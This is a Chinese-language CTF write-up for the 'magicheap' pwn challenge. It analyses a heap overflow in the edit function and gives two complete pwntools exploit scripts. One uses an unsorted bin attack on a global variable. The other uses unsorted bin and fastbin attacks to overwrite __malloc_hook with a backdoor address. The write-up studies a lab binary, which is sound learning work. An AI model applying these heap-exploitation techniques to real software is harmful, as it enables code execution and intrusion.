保护
分析
-
主要漏洞在编辑函数中,对输入大小没有检验,导致堆溢出
unsigned __int64 edit_heap() { __int64 v0; // ST08_8 int v2; // [rsp+4h] [rbp-1Ch] char buf; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); printf("Index :"); read(0, &buf, 4uLL); v2 = atoi(&buf); if ( v2 < 0 || v2 > 9 ) { puts("Out of bound!"); _exit(0); } if ( heaparray[v2] ) { printf("Size of Heap : ", &buf); read(0, &buf, 8uLL); v0 = atoi(&buf); printf("Content of heap : ", &buf); read_input(heaparray[v2], v0);//堆溢出 puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v4; }
-
程序中还有一个后门
int l33t() { return system("cat ./flag"); }
-
而在主函数中,明显想要调用这个函数的条件永为假。
-
因为magic是一个全局变量,存放在bss段中,并且结合堆溢出,最快的方法就是利用unsortbin attack来修改magic的值。
-
还有一种方法是利用unsortbin attack将main_arena+88放到bss段中,再利用fastbin attack分配得到bss段中的一个地址,使得我们可以将bss中的main_arena+88改为 __mallock_hook,再通过编辑操作,将 __malloc_hook里的内容改成后门地址
EXP
(一)
from pwn import*
p=process('./magicheap')
def addchunk(size,data):
p.sendlineafter('choice :','1')
p.sendlineafter('Heap : ',str(size))
p.sendlineafter('heap:',data)
def editchunk(idx,size,data):
p.sendlineafter('choice :','2')
p.sendlineafter('Index :',str(idx))
p.sendlineafter('Heap : ',str(size))
p.sendlineafter('heap : ',data)
def freechunk(idx):
p.sendlineafter('choice :','3')
p.sendlineafter('Index :',str(idx))
magic=0x0000000006020C0
addchunk(0x80,'a'*8)#0
addchunk(0x80,'b'*8)#1
addchunk(0x30,'c'*8)#2
freechunk(1)
editchunk(0,0x80+0x20,'a'*0x80+p64(0x91)+p64(0x91)+'a'*8+p64(magic-0x10))
addchunk(0x80,'hack')
gdb.attach(p,'heap chunks')
p.sendlineafter('choice :','4869')
p.interactive()
-
此时发现magic被修改成了main_arena+88
-
(二)
from pwn import* p=process('./magicheap') def addchunk(size,data): p.sendlineafter('choice :','1') p.sendlineafter('Heap : ',str(size)) p.sendlineafter('heap:',data) def editchunk(idx,size,data): p.sendlineafter('choice :','2') p.sendlineafter('Index :',str(idx)) p.sendlineafter('Heap : ',str(size)) p.sendlineafter('heap : ',data) def freechunk(idx): p.sendlineafter('choice :','3') p.sendlineafter('Index :',str(idx)) backdoor=0x0000000000400C23 chunk_list=0x0000000006020E0+0x28 addchunk(0x80,'a'*8)#0 addchunk(0x80,'b'*8)#1 addchunk(0x60,'c'*8)#2 addchunk(0x60,'d'*8)#3 addchunk(0x60,'d'*8)#3 freechunk(1) pay='a'*0x80+p64(0x91)+p64(0x90)+p64(0)+p64(chunk_list) editchunk(0,0x80+0x20,pay) freechunk(4) addchunk(0x80,'e'*8) gdb.attach(p,'x/20gx '+str(chunk_list-0x20)) pause() pay='f'*0x60+p64(0x71)+p64(0x70)+p64(0x602115) editchunk(3,0x60+0x18,pay) addchunk(0x60,'') addchunk(0x60,'\0'*3+p64(0x602118)) editchunk(9,1,'\x10') editchunk(7,8,p64(backdoor)) gdb.attach(p,'x/20gx '+str(chunk_list-0x20)) pause() p.sendlineafter('choice :','1') p.sendlineafter('Heap : ','10') p.interactive()
- 到此,__malloc_hook已成功被修改为后门地址